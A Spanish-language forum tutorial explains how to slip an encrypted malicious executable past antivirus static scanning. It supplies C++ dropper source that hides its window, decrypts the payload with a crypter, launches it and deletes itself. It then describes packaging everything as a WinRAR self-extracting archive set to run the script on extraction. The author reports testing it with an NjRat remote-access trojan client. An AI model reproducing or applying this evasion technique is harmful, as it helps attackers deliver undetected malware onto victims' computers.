Tenemos que tener:
- El ejecutable principal.
- Cualquier crypter genérico que deje el archivo cifrado en el disco. Pero que también nos permita descifrarlo posteriormente. (Que funcione por consola de comandos)
- Un script (en mi caso lo he hecho en C++) que crearemos para descifrar automáticamente el archivo cifrado.
 
Código fuente:

Código: Seleccionar todo

#include <Windows.h>
#include <strsafe.h>
#define SELF_REMOVE_STRING TEXT("cmd.exe /C ping 1.1.1.1 -n 1 -w 1 > Nul & Del /f /q \"%s\"")

using namespace std;

void delMe() {
    TCHAR szModuleName[MAX_PATH];
    TCHAR szCmd[2 * MAX_PATH];
    STARTUPINFO si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    GetModuleFileName(NULL, szModuleName, MAX_PATH);
    StringCbPrintf(szCmd, 2 * MAX_PATH, SELF_REMOVE_STRING, szModuleName);
    CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}

int main() {
    FreeConsole();
    system("comando para descifrar el archivo (mediante el crypter)");
    system("del nombreCrypter");
    ShellExecute(NULL, L"open", L"nombreArchivo", NULL, NULL, SW_RESTORE);
    delMe();
    return 0;
}
La función delMe() hace que el ejecutable se borre el mismo.

Seleccionamos los tres archivos (el que queremos bypassear, el crypter y el script), click derecho y añadir al archivo con WinRar.
Seleccionamos en método de compresión, la mejor. Y marcamos la casilla de crear un archivo autoextraíble.
En la pestaña "Avanzado" en autoextraíble y en instalación ponemos el nombre del script en la parte de ejecutar tras la extracción.

Resultado de AntiScan.Me cuando lo subí hace un par de semanas utilizando un cliente de NjRat:
Imagen
Como dije esto solo funciona con el análisis estático, cuando sea cargado en memoria el antivirus lo detectará.
Imagen
Responder

Volver a “Manuales y Tutoriales”